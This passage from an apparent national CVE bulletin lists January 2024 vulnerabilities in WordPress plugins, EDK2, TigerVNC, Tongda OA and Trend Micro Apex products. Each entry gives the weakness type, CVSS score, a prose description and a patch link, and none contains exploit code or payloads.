Missing Authorization	20-Jan-2024	6.5	The ColorMag theme for WordPress is vulnerable to unauthorized	https://themes.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&repon	A-THE-COLO-140224/1135

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			access due to a missing capability check on the plugin_action_callback() function in all versions up to, and including, 3.1.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to install and activate arbitrary plugins. **CVE ID : CVE-2024-0679**	ame=&old=214568%40colormag&new=214568%40colormag&sfp_email=&sfph_mail=	
Vendor: themehunk					
Product: contact_form_\&_lead_form_elementor_builder					
Affected Version(s): * Up to (excluding) 1.7.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	4.8	The Contact Form & Lead Form Elementor Builder WordPress plugin before 1.7.0 does not escape some of its form fields before outputting them in attributes, which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed **CVE ID : CVE-2022-23179**	N/A	A-THE-CONT-140224/1136
Affected Version(s): * Up to (excluding) 1.7.4					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Missing Authorization	16-Jan-2024	4.3	The Contact Form & Lead Form Elementor Builder WordPress plugin before 1.7.4 doesn't have authorisation and nonce checks, which could allow any authenticated users, such as subscriber to update and change various settings **CVE ID : CVE-2022-23180**	https://plugins.trac.wordpress.org/changeset/2670484	A-THE-CONT-140224/1137
Vendor: themeinprogress					
Product: wip_custom_login					
Affected Version(s): * Up to (including) 1.2.7					
Missing Authorization	17-Jan-2024	8.8	Missing Authorization vulnerability in ThemeinProgress WIP Custom Login.This issue affects WIP Custom Login: from n/a through 1.2.7. **CVE ID : CVE-2022-42884**	N/A	A-THE-WIP_-140224/1138
Vendor: themely					
Product: theme_demo_import					
Affected Version(s): * Up to (excluding) 1.1.1					
Unrestricted Upload of File with Dangerous Type	16-Jan-2024	7.2	Theme Demo Import WordPress plugin before 1.1.1 does not validate the imported file,	N/A	A-THE-THEM-140224/1139

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			allowing high-privilege users such as admin to upload arbitrary files (such as PHP) even when FILE_MODS and FILE_EDIT are disallowed. **CVE ID : CVE-2022-1538**		
Vendor: themeum					
Product: qubely					
Affected Version(s): * Up to (excluding) 1.8.5					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	The Qubely WordPress plugin before 1.8.5 does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks. **CVE ID : CVE-2023-0376**	N/A	A-THE-QUBE-140224/1140
Vendor: thimpress					
Product: learnpress					
Affected Version(s): * Up to (excluding) 4.2.5.5					
Improper Neutralization of Input During	16-Jan-2024	6.1	The LearnPress WordPress plugin before 4.2.5.5 does not sanitise and escape user input	N/A	A-THI-LEAR-140224/1141

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Web Page Generation ('Cross-site Scripting')			before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. **CVE ID : CVE-2023-5558**		
Vendor: tianocore					
Product: edk2					
Affected Version(s): * Up to (including) 202311					
Improper Restriction of Operations within the Bounds of a Memory Buffer	16-Jan-2024	8.8	EDK2's Network Package is susceptible to a buffer overflow vulnerability via a long server ID option in DHCPv6 client. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Confidentiality, Integrity and/or Availability. **CVE ID : CVE-2023-45230**	https://github.com/tianocore/edk2/security/advisories/GHSA-hc6x-cw6p-gj7h	A-TIA-EDK2-140224/1142
Improper Restriction of Operations	16-Jan-2024	8.8	EDK2's Network Package is susceptible to a buffer overflow	https://github.com/tianocore/edk2/security/advisories/GHSA	A-TIA-EDK2-140224/1143

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
within the Bounds of a Memory Buffer			vulnerability when processing DNS Servers option from a DHCPv6 Advertise message. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Confidentiality, Integrity and/or Availability. **CVE ID : CVE-2023-45234**	-hc6x-cw6p-gj7h	
Improper Restriction of Operations within the Bounds of a Memory Buffer	16-Jan-2024	8.8	EDK2's Network Package is susceptible to a buffer overflow vulnerability when handling Server ID option from a DHCPv6 proxy Advertise message. This	https://github.com/tianocore/edk2/security/advisories/GHSA-hc6x-cw6p-gj7h	A-TIA-EDK2-140224/1144

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Confidentiality, Integrity and/or Availability. **CVE ID : CVE-2023-45235**		
Loop with Unreachable Exit Condition ('Infinite Loop')	16-Jan-2024	7.5	EDK2's Network Package is susceptible to an infinite loop vulnerability when parsing unknown options in the Destination Options header of IPv6. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Availability. **CVE ID : CVE-2023-45232**	https://github.com/tianocore/edk2/security/advisories/GHSA-hc6x-cw6p-gj7h	A-TIA-EDK2-140224/1145
Loop with Unreachable Exit Condition	16-Jan-2024	7.5	EDK2's Network Package is susceptible to an infinite lop	https://github.com/tianocore/edk2/security/advisories/GHSA	A-TIA-EDK2-140224/1146

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Infinite Loop')			vulnerability when parsing a PadN option in the Destination Options header of IPv6. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Availability. **CVE ID : CVE-2023-45233**	-hc6x-cw6p-gj7h	
Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	16-Jan-2024	7.5	EDK2's Network Package is susceptible to a predictable TCP Initial Sequence Number. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Confidentiality. **CVE ID : CVE-2023-45236**	https://github.com/tianocore/edk2/security/advisories/GHSA-hc6x-cw6p-gj7h	A-TIA-EDK2-140224/1147

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	16-Jan-2024	7.5	EDK2's Network Package is susceptible to a predictable TCP Initial Sequence Number. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Confidentiality. **CVE ID : CVE-2023-45237**	https://github.com/tianocore/edk2/security/advisories/GHSA-hc6x-cw6p-gj7h	A-TIA-EDK2-140224/1148
Out-of-bounds Read	16-Jan-2024	6.5	EDK2's Network Package is susceptible to an out-of-bounds read vulnerability when processing the IA_NA or IA_TA option in a DHCPv6 Advertise message. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Confidentiality.	https://github.com/tianocore/edk2/security/advisories/GHSA-hc6x-cw6p-gj7h	A-TIA-EDK2-140224/1149

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-45229		
Out-of-bounds Read	16-Jan-2024	6.5	EDK2's Network Package is susceptible to an out-of-bounds read vulnerability when processing Neighbor Discovery Redirect message. This vulnerability can be exploited by an attacker to gain unauthorized access and potentially lead to a loss of Confidentiality. **CVE ID : CVE-2023-45231**	https://github.com/tianocore/edk2/security/advisories/GHSA-hc6x-cw6p-gj7h	A-TIA-EDK2-140224/1150
Vendor: Tigervnc					
Product: tigervnc					
Affected Version(s): * Up to (excluding) 1.13.1					
Out-of-bounds Write	18-Jan-2024	7.8	A flaw was found in the X.Org server. The cursor code in both Xephyr and Xwayland uses the wrong type of private at creation. It uses the cursor bits type with the cursor as private, and when initiating the cursor, that overwrites the XSELINUX context. **CVE ID : CVE-2024-0409**	N/A	A-TIG-TIGE-140224/1151

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	18-Jan-2024	5.5	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and crash because the SID is NULL. **CVE ID : CVE-2024-0408**	N/A	A-TIG-TIGE-140224/1152
Vendor: Tipsandtricks-hq					
Product: wordpress_simple_paypal_shopping_cart					
Affected Version(s): * Up to (including) 4.7.1					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	27-Jan-2024	4.8	The WordPress Simple Shopping Cart plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the automatic redirect URL setting in all versions up to and including 4.7.1 due to insufficient input sanitization	https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3007737%40wordpress-simple-paypal-shopping-cart&new=3007737%40wordpress-simple-	A-TIP-WORD-140224/1153

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. **CVE ID : CVE-2023-6497**	paypal-shopping-cart&sfp_email=&sfph_mail=	
Vendor: tongda2000					
Product: office_anywhere_2017					
Affected Version(s): From (including) 11.0 Up to (excluding) 11.10					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	26-Jan-2024	9.8	A vulnerability, which was classified as critical, was found in Tongda OA 2017 up to 11.9. This affects an unknown part of the file /general/email/inbox/delete_webmail.php. The manipulation of the argument WEBBODY_ID_STR leads to sql injection. The exploit has been	N/A	A-TON-OFFI-140224/1154

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosed to the public and may be used. Upgrading to version 11.10 is able to address this issue. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-252183. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0938**		
Vendor: tortall					
Product: yasm					
Affected Version(s): 1.3.0					
Missing Release of Memory after Effective Lifetime	18-Jan-2024	5.5	A memory leak issue discovered in YASM v.1.3.0 allows a local attacker to cause a denial of service via the new_Token function in the modules/preprocs /nasm/nasm-pp:1512. **CVE ID : CVE-2023-51258**	N/A	A-TOR-YASM-140224/1155
Vendor: tozt					
Product: spreadsheet					
Affected Version(s): \\ Up to (excluding) 0.30					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Restriction of XML External Entity Reference	18-Jan-2024	6.5	The Spreadsheet::ParseXLSX package before 0.30 for Perl allows XXE attacks because it neglects to use the no_xxe option of XML::Twig. **CVE ID : CVE-2024-23525**	N/A	A-TOZ-SPRE-140224/1156
Vendor: tracktheclick					
Product: track_the_click					
Affected Version(s): * Up to (excluding) 0.3.12					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	17-Jan-2024	8.8	The Track The Click WordPress plugin before 0.3.12 does not properly sanitize query parameters to the stats REST endpoint before using them in a database query, allowing a logged in user with an author role or higher to perform time based blind SQLi attacks on the database. **CVE ID : CVE-2023-5041**	N/A	A-TRA-TRAC-140224/1157
Vendor: Trendmicro					
Product: apex_central					
Affected Version(s): 2019					
Unrestricted Upload of File with	23-Jan-2024	8.8	An unrestricted file upload vulnerability in Trend Micro Apex Central could allow	https://success.trendmicro.com/dcx/s/solution	A-TRE-APEX-140224/1158

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Dangerous Type			a remote attacker to create arbitrary files on affected installations. Please note: although authentication is required to exploit this vulnerability, this vulnerability could be exploited when the attacker has any valid set of credentials. Also, this vulnerability could be potentially used in combination with another vulnerability to execute arbitrary code. **CVE ID : CVE-2023-52324**	/000296153?language=en_US	
N/A	23-Jan-2024	7.5	A local file inclusion vulnerability in one of Trend Micro Apex Central's widgets could allow a remote attacker to execute arbitrary code on affected installations. Please note: this vulnerability must be used in conjunction with another one to	https://success.trendmicro.com/dcx/s/solution/000296153?language=en_US	A-TRE-APEX-140224/1159

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			exploit an affected system. In addition, an attacker must first obtain a valid set of credentials on target system in order to exploit this vulnerability. **CVE ID : CVE-2023-52325**		
Server-Side Request Forgery (SSRF)	23-Jan-2024	7.1	A post-authenticated server-side request forgery (SSRF) vulnerability in Trend Micro Apex Central could allow an attacker to interact with internal or local services directly. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-52331**	https://success.trendmicro.com/dcx/s/solution/000296153?language=en_US	A-TRE-APEX-140224/1160
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	Certain dashboard widgets on Trend Micro Apex Central (on-premise) are vulnerable to cross-site scripting (XSS) attacks that may allow an attacker to achieve remote code	https://success.trendmicro.com/dcx/s/solution/000296153?language=en_US	A-TRE-APEX-140224/1161

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution on affected servers. Please note this vulnerability is similar, but not identical to CVE-2023-52327. **CVE ID : CVE-2023-52326**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	Certain dashboard widgets on Trend Micro Apex Central (on-premise) are vulnerable to cross-site scripting (XSS) attacks that may allow an attacker to achieve remote code execution on affected servers. Please note this vulnerability is similar, but not identical to CVE-2023-52328. **CVE ID : CVE-2023-52327**	https://success.trendmicro.com/dcx/s/solution/000296153?language=en_US	A-TRE-APEX-140224/1162
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	Certain dashboard widgets on Trend Micro Apex Central (on-premise) are vulnerable to cross-site scripting (XSS) attacks that may allow an attacker to achieve remote code	https://success.trendmicro.com/dcx/s/solution/000296153?language=en_US	A-TRE-APEX-140224/1163

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution on affected servers. Please note this vulnerability is similar, but not identical to CVE-2023-52329. **CVE ID : CVE-2023-52328**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	Certain dashboard widgets on Trend Micro Apex Central (on-premise) are vulnerable to cross-site scripting (XSS) attacks that may allow an attacker to achieve remote code execution on affected servers. Please note this vulnerability is similar, but not identical to CVE-2023-52326. **CVE ID : CVE-2023-52329**	https://success.trendmicro.com/dcx/s/solution/000296153?language=en_US	A-TRE-APEX-140224/1164
Server-Side Request Forgery (SSRF)	23-Jan-2024	5.4	A post-authenticated server-side request forgery (SSRF) vulnerability in Trend Micro Apex Central 2019 (lower than build 6481) could allow an attacker to interact with	https://success.trendmicro.com/dcx/s/solution/000294176?language=en_US	A-TRE-APEX-140224/1165

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			internal or local services directly. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This is a similar, but not identical vulnerability as CVE-2023-38625 through CVE-2023-38627. **CVE ID : CVE-2023-38624**		
Server-Side Request Forgery (SSRF)	23-Jan-2024	5.4	A post-authenticated server-side request forgery (SSRF) vulnerability in Trend Micro Apex Central 2019 (lower than build 6481) could allow an attacker to interact with internal or local services directly. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system	https://success.trendmicro.com/dcx/s/solution/000294176?language=en_US	A-TRE-APEX-140224/1166

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			in order to exploit this vulnerability. This is a similar, but not identical vulnerability as CVE-2023-38624. **CVE ID : CVE-2023-38625**		
Server-Side Request Forgery (SSRF)	23-Jan-2024	5.4	A post-authenticated server-side request forgery (SSRF) vulnerability in Trend Micro Apex Central 2019 (lower than build 6481) could allow an attacker to interact with internal or local services directly. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This is a similar, but not identical vulnerability as CVE-2023-38625. **CVE ID : CVE-2023-38626**	https://success.trendmicro.com/dcx/s/solution/000294176?language=en_US	A-TRE-APEX-140224/1167
Server-Side Request	23-Jan-2024	5.4	A post-authenticated server-side request	https://success.trendmicro.com/dcx/s/solution	A-TRE-APEX-140224/1168

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Forgery (SSRF)			forgery (SSRF) vulnerability in Trend Micro Apex Central 2019 (lower than build 6481) could allow an attacker to interact with internal or local services directly. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This is a similar, but not identical vulnerability as CVE-2023-38626. **CVE ID : CVE-2023-38627**	/000294176?language=en_US	
Product: apex_one					
Affected Version(s): 2019					
Improper Link Resolution Before File Access ('Link Following')	23-Jan-2024	7.8	An agent link vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1169

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execute low-privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-47192**		
Origin Validation Error	23-Jan-2024	7.8	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47194. **CVE ID : CVE-2023-47193**	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1170
Origin Validation Error	23-Jan-2024	7.8	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1171

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47195. **CVE ID : CVE-2023-47194**		
Origin Validation Error	23-Jan-2024	7.8	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1172

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			not identical to, CVE-2023-47196. **CVE ID : CVE-2023-47195**		
Origin Validation Error	23-Jan-2024	7.8	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47197. **CVE ID : CVE-2023-47196**	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1173
Origin Validation Error	23-Jan-2024	7.8	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations.	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1174

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47198. **CVE ID : CVE-2023-47197**		
Origin Validation Error	23-Jan-2024	7.8	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47199. **CVE ID : CVE-2023-47198**	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1175

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Origin Validation Error	23-Jan-2024	7.8	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47193. **CVE ID : CVE-2023-47199**	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1176
Origin Validation Error	23-Jan-2024	7.8	A plug-in manager origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1177

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47201. **CVE ID : CVE-2023-47200**		
N/A	23-Jan-2024	7.8	A plug-in manager origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47200. **CVE ID : CVE-2023-47201**	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1178
N/A	23-Jan-2024	7.8	A local file inclusion vulnerability on the Trend Micro	https://success.trendmicro.com/dcx/s/solution	A-TRE-APEX-140224/1179

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Apex One management server could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-47202**	/000295652?language=en_US	
Improper Link Resolution Before File Access ('Link Following')	23-Jan-2024	7.8	A security agent link following vulnerability in Trend Micro Apex One could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-52090**	https://success.trendmicro.com/dcx/s/solution/000296151?language=en_US	A-TRE-APEX-140224/1180
Improper Link Resolution	23-Jan-2024	7.8	An anti-spyware engine link following	https://success.trendmicro.com/dcx/s/solution	A-TRE-APEX-140224/1181

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Before File Access ('Link Following')			vulnerability in Trend Micro Apex One could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-52091**	/000296151?language=en_US	
Improper Link Resolution Before File Access ('Link Following')	23-Jan-2024	7.8	A security agent link following vulnerability in Trend Micro Apex One could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-52092**	https://success.trendmicro.com/dcx/s/solution/000296151?language=en_US	A-TRE-APEX-140224/1182
N/A	23-Jan-2024	7.8	An exposed dangerous function vulnerability in the	https://success.trendmicro.com/dcx/s/solution	A-TRE-APEX-140224/1183

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Trend Micro Apex One agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-52093**	/000296151?language=en_US	
Improper Link Resolution Before File Access ('Link Following')	23-Jan-2024	7.8	An updater link following vulnerability in the Trend Micro Apex One agent could allow a local attacker to abuse the updater to delete an arbitrary folder, leading for a local privilege escalation on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.	https://success.trendmicro.com/dcx/s/solution/000296151?language=en_US	A-TRE-APEX-140224/1184

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-52094		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	A cross-site scripting vulnerability in Trend Micro Apex Central could allow a remote attacker to execute arbitrary code on affected installations of Trend Micro Apex Central. Please note: user interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. **CVE ID : CVE-2023-52330**	https://success.trendmicro.com/dcx/s/solution/000296153?language=en_US	A-TRE-APEX-140224/1185
Affected Version(s): * Up to (excluding) 14.0.12737					
Improper Link Resolution Before File Access ('Link Following')	23-Jan-2024	7.8	An agent link vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1186

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-47192**		
Origin Validation Error	23-Jan-2024	7.8	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47194. **CVE ID : CVE-2023-47193**	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1187
Origin Validation Error	23-Jan-2024	7.8	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1188

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47195. **CVE ID : CVE-2023-47194**		
Origin Validation Error	23-Jan-2024	7.8	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1189

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			not identical to, CVE-2023-47196. **CVE ID : CVE-2023-47195**		
Origin Validation Error	23-Jan-2024	7.8	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47197. **CVE ID : CVE-2023-47196**	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1190
Origin Validation Error	23-Jan-2024	7.8	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations.	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1191

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47198. **CVE ID : CVE-2023-47197**		
Origin Validation Error	23-Jan-2024	7.8	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47199. **CVE ID : CVE-2023-47198**	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1192

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Origin Validation Error	23-Jan-2024	7.8	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47193. **CVE ID : CVE-2023-47199**	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1193
Origin Validation Error	23-Jan-2024	7.8	A plug-in manager origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1194

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47201. **CVE ID : CVE-2023-47200**		
N/A	23-Jan-2024	7.8	A plug-in manager origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47200. **CVE ID : CVE-2023-47201**	https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US	A-TRE-APEX-140224/1195
N/A	23-Jan-2024	7.8	A local file inclusion vulnerability on the Trend Micro	https://success.trendmicro.com/dcx/s/solution	A-TRE-APEX-140224/1196

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Apex One management server could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-47202**	/000295652?language=en_US	
Affected Version(s): * Up to (excluding) 14.0.12849					
Improper Link Resolution Before File Access ('Link Following')	23-Jan-2024	7.8	A security agent link following vulnerability in Trend Micro Apex One could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. **CVE ID : CVE-2023-52090**	https://success.trendmicro.com/dcx/s/solution/000296151?language=en_US	A-TRE-APEX-140224/1197
Improper Link	23-Jan-2024	7.8	An anti-spyware engine link	https://success.trendmicro.com	A-TRE-APEX-140224/1198

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
